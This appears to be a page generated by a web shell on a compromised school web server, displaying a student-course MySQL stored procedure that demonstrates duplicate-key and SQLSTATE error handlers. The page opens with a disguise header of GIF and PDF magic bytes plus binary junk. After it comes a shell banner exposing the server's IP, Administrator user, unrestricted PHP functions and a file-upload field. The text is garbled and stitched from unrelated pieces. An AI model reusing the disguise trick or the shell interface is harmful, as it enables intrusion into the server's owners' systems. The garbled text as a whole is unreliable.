GIF89a; %PDF-1.5 %���� ºaâÚÎΞ-ÌE1ÍØÄ÷{òò2ÿ ÛÖ^ÔÀá TÎ{¦?§®¥kuµùÕ5sLOšuY
Server IP : 134.29.175.74 / Your IP : 216.73.216.160 Web Server : nginx/1.10.2 System : Windows NT CST-WEBSERVER 10.0 build 19045 (Windows 10) i586 User : Administrator ( 0) PHP Version : 7.1.0 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : OFF | Perl : OFF | Python : OFF | Sudo : OFF | Pkexec : OFF Directory : C:/nginx/html/MichaelMalz/CST1602/Resources/Week/11/ |
Upload File : |
DROP PROCEDURE IF EXISTS InsertSupplierProduct; DELIMITER $$ CREATE PROCEDURE InsertSupplierProduct( IN inSupplierId INT, IN inProductId INT ) BEGIN DECLARE message VARCHAR(255) DEFAULT ''; DECLARE SupplierIdCount INT; DECLARE DuplicateKey CONDITION for 1062; DECLARE CONTINUE HANDLER FOR DuplicateKey SELECT CONCAT('Duplicate key (',inSupplierId,',',inProductId,') occurred') INTO message; # Most specific and will alway handle the error. DECLARE CONTINUE HANDLER FOR SQLSTATE '23000' SELECT 'SQLSTATE 23000' INTO message; # Next most specific and will handel the error if there is not one for the error code. DECLARE CONTINUE HANDLER FOR SQLEXCEPTION SELECT 'SQLException encountered' INTO message; # Least specific. Only handles exceptions that have no SLQSTATE or error code handler. -- insert a new row into the SupplierProducts INSERT INTO SupplierProducts(supplierId,productId) VALUES(inSupplierId,inProductId); -- return the products supplied by the supplier id SELECT COUNT(*) INTO SupplierIdCount FROM SupplierProducts WHERE supplierId = inSupplierId; IF message = '' THEN SELECT SupplierIdCount AS 'SupplierId Count'; ELSE SELECT message, SupplierIdCount AS 'SupplierId Count'; END IF; END$$ DELIMITER ;